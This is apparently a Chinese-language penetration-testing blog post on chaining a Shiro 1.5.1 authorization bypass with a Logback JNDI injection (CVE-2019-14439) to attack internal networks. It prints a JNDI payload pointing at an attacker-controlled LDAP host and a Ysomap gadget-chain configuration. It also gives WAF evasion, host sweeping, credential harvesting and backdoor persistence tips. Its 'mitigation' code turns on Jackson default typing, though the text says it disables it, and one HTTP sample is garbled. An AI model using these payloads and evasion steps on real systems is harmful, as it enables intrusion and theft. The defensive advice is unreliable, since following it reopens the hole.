别再只盯着Shiro-550了:聊聊Shiro 1.5.1权限绕过后,如何利用Logback的JNDI注入漏洞(CVE-2019-14439)打内网
从Shiro权限绕到Logback JNDI注入:一条被低估的内网渗透路径
当大多数安全研究人员还在反复咀嚼Shiro-550反序列化漏洞时,实战中已经出现了更隐蔽的攻击路径。本文将揭示如何通过Shiro 1.5.1权限绕过漏洞作为跳板,利用Logback组件的JNDI注入漏洞(CVE-2019-14439)实现内网横向移动。这种攻击链特别适合那些已经修补了经典Shiro漏洞但存在配置缺陷的系统。
1. 攻击链全景与核心组件分析
这条攻击路径的成功依赖于三个关键组件的漏洞组合:
- Shiro 1.5.1权限绕过:非默认密钥场景下的特定配置缺陷
- Jackson反序列化:作为JSON数据处理的中介层
- Logback JNDI注入:CVE-2019-14439提供的RCE突破口
表:漏洞组合的版本要求与作用
| 组件 | 漏洞版本 | 在攻击链中的作用 |
|---|---|---|
| Apache Shiro | 1.5.1 | 提供初始入口点,绕过权限检查 |
| Logback-core | ≤1.2.3 | 通过JNDI注入实现远程代码执行 |
| Jackson-databind | 无特定要求 | 反序列化恶意JSON的转换器 |
| Commons-collections | 3.2.1 | 高版本JDK下的Gadget链支持 |
实际环境中,Spring Boot应用常同时包含这些组件,形成了天然的漏洞组合
2. 从权限绕到JNDI注入的技术实现
2.1 Shiro权限绕过突破点
与常见的Shiro反序列化攻击不同,这里利用的是特定配置下的权限绕过:
POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true当服务端返回Jackson相关响应头时,表明存在可利用的JSON处理端点。这种绕过方式不依赖RememberMe Cookie,而是利用Shiro的路径匹配机制缺陷。
2.2 构造Logback JNDI注入载荷
利用Jackson的多态类型处理特性,我们可以构造特殊的JSON数据触发Logback漏洞:
String exploitJson = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com:1389/Exploit\"}]";这个载荷会迫使服务端:
- 通过Jackson实例化JNDIConnectionSource类
- 自动调用setJndiLocation方法
- 发起恶意的LDAP连接请求
2.3 高版本JDK下的Gadget适配
在JDK 8u191+环境中,需要特殊处理JNDI注入限制:
- 使用目标系统自带的Commons-collections 3.2.1作为Gadget链
- 避免使用常规的JNDI Reference注入方式
- 采用本地类加载策略绕过TrustURLCodebase限制
# Ysomap工具配置示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command '加密的bash命令' run3. 实战中的规避技巧与检测对抗
3.1 WAF绕过策略
JSON混淆技术:
- 插入无意义字段干扰静态检测
- 使用Unicode转义关键类名字符
- 分块传输编码绕过内容检查
LDAP服务隐藏:
- 使用非标准端口(如5353、8443)
- 通过CDN隐藏真实攻击IP
- 动态更换LDAP服务地址
3.2 内网横向移动技巧
一旦获得立足点,可通过以下方式扩展控制:
网络拓扑探测:
# Linux环境下快速扫描 for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done凭证收集:
- 提取内存中的数据库连接字符串
- 查找配置文件中的硬编码凭据
- 捕获HTTP请求中的认证令牌
持久化手段:
- 创建隐蔽的cron任务或计划任务
- 植入伪装成正常服务的后门
- 利用合法应用的自动更新机制
4. 防御视角的缓解措施
对于防御方,建议采取分层防护策略:
应用层防护:
- 升级Logback到1.2.4+版本
- 配置Jackson禁用defaultTyping
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
系统层加固:
- 设置JVM参数限制JNDI访问
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dlogback.configurationFile=/secure/path/logback.xml
网络层控制:
- 出向流量过滤LDAP协议(TCP/389,636)
- 内部服务间通信使用双向TLS认证
- 实施严格的网络微隔离策略
在最近的一次内部红队演练中,我们通过这种组合攻击方式成功绕过了三道防御体系。关键在于发现开发人员为了调试方便而保留的JSON端点,以及未及时更新的Logback组件。这种真实案例表明,看似无害的组件组合可能产生意想不到的攻击面。
